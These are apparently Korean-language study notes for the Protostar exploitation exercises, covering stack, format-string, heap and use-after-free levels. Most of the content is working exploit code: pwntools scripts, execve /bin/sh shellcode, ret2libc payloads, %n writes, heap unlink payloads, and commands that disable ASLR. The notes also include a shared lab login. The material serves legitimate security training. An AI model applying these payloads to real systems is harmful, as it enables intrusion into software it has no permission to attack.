• https://www.youtube.com/watch?v=jyOoUxzrtTw
• https://www.youtube.com/watch?v=DvuWTPqmD8I

• TUTS4YOU 강의사이트 : https://tuts4you.com/download.php?list.17
• PEView
• Detect It Easy

• OllyDbg 플로그인 OllyDumpEx : http://low-priority.appspot.com/ollydumpex/

ID: root PW: godmode

• https://drive.google.com/file/d/1ppZQxJy_8a9Q2as7ZlFd0vxzFajA2byM/view?usp=sharing

• https://drive.google.com/file/d/1KtAtxk3FNSZZoxZhf4bGWN0uMdHNvOCB/view?usp=sharing

• https://www.youtube.com/playlist?list=PLnIaYcDMsScxpiB8VpGhM4-NtovcM_uB9

• http://www.hackerschool.org/HS_Boards/data/Lib_system/dfb_leon.txt

• https://exploit-exercises.com/protostar/

https://www.youtube.com/watch?v=anKJKi7e4HM

=======================================================

• 스택 공격에 취약한 컴파일 명령어

gcc -o stack0 stack0.c

gcc -z execstack -no-pie -w -o stack0 stack0.c

python -c "print('a'*80)" 'python aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

modified = 0x7fffffffe180 - 0x4

=======================================================

buffer = rbp-0x50

modified = rbp-0x4

A 76개 넣으면 modified까지 간다! BBBB

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba

=======================================================

peda 다운로드 사이트 https://github.com/longld/peda

• 리눅스 환경변수 설정

export GREENIE='AAAAA'

• peda에서 패턴 만들기

pattern create 100

b *main+89

• peda에서 패턴 오프셋 확인하기

gdb-peda$ pattern offset 0x41413341

1094792001 found at offset: 68

• Exploit 코드

export GREENIE=$(python -c 'print "A"*68 + "\x0a\x0d"*4')

=======================================================

• win 함수 주소

win_addr = 0x0000000000400577

• 페다에서 패턴 오프셋 확인하기

gdb-peda$ pattern offset 0x4134414165414149 4698452060381725001 found at offset: 72

파이썬 코드

from pwn import *

p = process('./stack3')
win_addr = p64(0x0000000000400577)
payload = 'A'*72 + win_addr

p.sendline(payload)
print p.recvrepeat(1)

=======================================================

from pwn import *

winaddr = p64(0x0000000000400537)
payload = 'A' * 72 + winaddr

p = process(['./stack4'])
p.sendline(payload)
print p.recvrepeat(1)

=======================================================

• 칼리리눅스 ASLR 끄기

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

• 어태치 방법

1. pwn 프로그램에 pause()를 사용해서 잠시 멈춘다.
2. gdb ./stack5 (pid)
3. 디버깅 하고 싶은 부분에 break를 건다. b *main+38
4. conti 디버거를 계속 실행 시킨다.
5. pwn 프로그램에 엔터를 누른다. (sendline)
6. 익스플로잇이 성공했는지 확인한다.

from pwn import *

buf =  ""
buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x56\x57\x48\x89\xe6\x0f\x05"

retaddr = p64(0x7fffffffe1f0)
payload = 'A' * 72 + retaddr + buf

p = process(['./stack5'])
pause()
p.sendline(payload)
print p.recvrepeat(1)

p.interactive()

=======================================================

• 칼리에서 32bit 프로그램 실행을 위한 라이브러리

sudo apt install lib32z1

파이썬 코드

from pwn import * 

system = p32(0xf7e117e0)
dummy  = p32(0xFFFFFFFF)
bin_sh = p32(0xf7f50968)
offset = 76

payload = 'A'*offset + system + dummy + bin_sh

p = process(['stack5'])
p.sendline(payload)
p.interactive()

=======================================================

• 칼리에서 32bit 프로그램 실행을 위한 라이브러리

sudo apt install lib32z1

ret and 0xbf000000 == 0xbf000000

from pwn import * 

system = p32(0xf7e117e0)
dummy  = p32(0xFFFFFFFF)
bin_sh = p32(0xf7f50968)
offset = 80

payload = 'A'*offset + system + dummy + bin_sh

p = process(['stack6'])
p.sendline(payload)
p.interactive()

=======================================================

• 칼리리눅스 ASLR 끄기

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

from pwn import * 

buf =  ""
buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x56\x57\x48\x89\xe6\x0f\x05"


system = p64(0x7ffff7e345d0)
dummy  = p64(0xFFFFFFFFFFFFFFFF)
bin_sh = p64(0x7ffff7f70573)
jmp_rsp = p64(0x4007f3)
offset = 88

payload = 'A'*offset + system + dummy + bin_sh

payload = 'A'*offset + jmp_rsp + buf

p = process(['stack7'])
p.sendline(payload)
p.interactive()

=======================================================

• 칼리리눅스 ASLR 끄기

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

from pwn import * 

system = p32(0xf7e117e0)
dummy  = p32(0xFFFFFFFF)
bin_sh = p32(0xf7f50968)
ret    = p32(0x8048362)
offset = 80

payload = 'A'*offset + ret + system + dummy + bin_sh

p = process(['stack7'])
p.sendline(payload)
p.interactive()

=======================================================

int main()
{
 printf("%d %d %d %d", 1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
 return 0;
}

// format_gets.c
int main()
{ 
 char buf[64];
 gets(buf);
 printf(buf);
 return 0;
}

=======================================================

• 프로토스타 format string bug https://exploit-exercises.com/protostar/

int main()
{ 
 int a = 0;
 printf(".....%n",&a);

 if(a!=0)
 {
  printf("code detection %d\n", a);
 }
  
 return 0;
}

=======================================================

./format0 $(python -c "print '%64d' + '\xef\xbe\xad\xde'") '''

=======================================================

./format1 $(python -c "print 'AAAA' + '\x38\x96\x04\x08' + '%x.'*154" + '%n.')

=======================================================

=======================================================

=======================================================

=======================================================

https://www.syslinux.org/wiki/index.php?title=Heap_Management

정적 메모리 동적 메모리
push []       프로그래머에 의해서 관리
작은  큰 (malloc, class)
주소:아래서 위로 주소:위에서 아래로
EBP//ESP  헤더

• 칼리 ASLR disable

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

• data 헤더 주소

x/10wx 0x804a160 - 0x8

• 메모리 주소 구하기

1b0 - 160

• winner의 주소

0x8048464

./heap0 $(python -c "print 'A' * 80 + '\x64\x84\x04\x08' ")

=======================================================

• 칼리 ASLR disable

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

• printf의 got주소

0x08049774

• winner의 주소

0x8048494

• 힙의 주소

x/100wx 0x804a160 - 0x8

./heap1 $(python -c "print 'A' * 20 + '\x74\x97\x04\x08' + ' BBBB'")

./heap1 $(python -c "print 'A' * 20 + '\x74\x97\x04\x08' + ' \x94\x84\x04\x08'")

=======================================================

gdb-peda$ b *main+127

gdb-peda$ b *main+297

gdb-peda$ b *main+346

x/30xw 0x804c818 - 8

=======================================================

샤의 공간 (블로그) http://shayete.tistory.com/entry/7-Use-After-Free

• 힙의 위치

x/100wx 0x804b160 - 0x8

• 패턴 생성

pattern create 150

from pwn import *

offset = 46
bin_sh = p32(0x08048612)
payload = 'A' * offset + bin_sh
pattern = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

p = process('uaf')
print p.recvrepeat(1)
p.sendline('gasbugs')
print p.recvrepeat(1)
pause()
p.sendline(payload)
p.interactive()

=======================================================

• Live over flow Heap3 http://liveoverflow.com/binary_hacking/protostar/heap3.html

• once upon a free() http://phrack.org/issues/57/9.html

• 머신코드 만들기 https://defuse.ca/online-x86-assembler.htm#disassembly

• Double Free Bug http://www.hackerschool.org/HS_Boards/data/Lib_system/dfb_leon.txt

• 힙 정보 보기

x/80wx 0x804c008 - 8

• 첫 번째 시도

run AAAA python -c "print 'B'*36 + '\x65' " CCCC

• 두 번째 시도

run AAAA python -c "print 'B'*36 + '\x65' " python -c "print 'A'*92 + '\xfc\xff\xff\xff' * 2 + '\xfd\xfd\xfd\xfd' + '\xbd\xbd\xbd\xbd'"

• 세 번째 시도

fd = 0x0804B11C

bd = 0x08048864

run AAAA python -c "print 'B'*36 + '\x65' " python -c "print 'A'*92 + '\xfc\xff\xff\xff' * 2 + '\x1C\xB1\x04\x08' + '\x64\x88\x04\x08'"

• 네 번째 시도

머신코드 징검다리 넣기: B864880408FFD0

run python -c "print 'A'*8 + '\xB8\x64\x88\x04\x08\xFF\xD0'" python -c "print 'B'*36 + '\x65' " python -c "print 'A'*92 + '\xfc\xff\xff\xff' * 2 + '\x1C\xB1\x04\x08' + '\x10\xc0\x04\x08'"

=======================================================

Net0 - LiveOverflow http://liveoverflow.com/binary_hacking/protostar/net0.html

=======================================================

Net1 - LiveOverflow http://liveoverflow.com/binary_hacking/protostar/net1.html

=======================================================